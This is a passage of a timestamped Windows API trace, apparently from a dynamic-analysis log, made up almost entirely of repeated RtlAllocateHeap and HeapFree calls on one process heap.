Flags=0x8, Size=0x6c) returned 0x509628 [0034.091] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x509628 | out: hHeap=0x4f0000) returned 1 [0034.091] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50bdf8 [0034.091] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0034.091] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50bdf8 | out: hHeap=0x4f0000) returned 1 [0034.091] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0034.091] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50bdf8 [0034.091] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x4) returned 0x516bc8 [0034.091] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x204) returned 0x50c008 [0034.091] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516bc8 | out: hHeap=0x4f0000) returned 1 [0034.091] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x204) returned 0x50c218 [0034.091] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50c428 [0034.091] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x20c) returned 0x50c530 [0034.091] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516bc8 [0034.091] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x508fd8 [0034.091] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511550 [0034.091] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50c428 | out: hHeap=0x4f0000) returned 1 [0034.091] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x204) returned 0x50c748 [0034.091] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511550 | out: hHeap=0x4f0000) returned 1 [0034.091] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.091] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x508ff0 [0034.091] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516bc8 | out: hHeap=0x4f0000) returned 1 [0034.091] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.091] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.091] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.092] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.092] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.092] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x108) returned 0x511550 [0034.092] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x508ff0 | out: hHeap=0x4f0000) returned 1 [0034.092] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x204) returned 0x50c958 [0034.092] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511550 | out: hHeap=0x4f0000) returned 1 [0034.092] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.092] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.092] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.092] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.092] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.092] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.092] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.092] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.092] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.092] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.092] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.092] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.092] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.092] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.092] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.092] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.092] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.092] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.092] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.092] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.092] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.092] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.092] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.092] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.092] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.092] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.092] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.092] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.092] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.092] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.092] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.092] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.092] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.092] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.093] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.093] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.093] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.093] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.093] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.093] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.093] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.093] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.093] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.093] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.093] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.093] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.093] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.093] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.093] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.093] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.093] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.093] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.093] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.093] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.093] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.093] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.093] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.093] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.093] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.093] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.093] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.093] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.093] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.093] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.093] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.093] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.093] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.093] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.093] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.093] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.093] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.093] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.093] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.093] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.094] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.094] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.094] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.094] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.094] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.094] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.094] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.094] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.094] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.094] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.094] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.094] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.094] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.094] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.094] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.094] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.094] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.094] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.094] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.094] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.094] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.094] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.094] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.094] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.094] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.094] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.094] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.094] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.094] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.094] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.094] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.094] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.094] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.094] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.094] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.094] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.094] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.094] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.095] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.095] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.095] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.095] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.095] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.095] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.095] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.095] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.095] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.095] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.095] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.095] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.095] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.095] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.095] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.095] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.095] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.095] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.095] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.096] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.096] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.096] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.096] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.096] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.096] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.096] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.096] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.096] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.096] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.096] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.096] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.096] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.096] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.096] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.096] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.096] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.096] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.096] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.096] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.096] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.096] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.096] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.096] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.096] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.096] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.096] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.096] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.096] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.096] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.096] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.096] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.096] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.096] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.096] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.096] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.096] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.096] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.096] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.097] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.097] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.097] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.097] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.097] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.097] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.097] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.097] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.097] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.097] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.097] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.097] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.097] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.097] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.097] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.097] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.097] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.097] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.097] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.097] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.097] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.097] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.097] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.097] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.097] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.097] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516c08 [0034.097] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516c08 | out: hHeap=0x4f0000) returned 1 [0034.097] 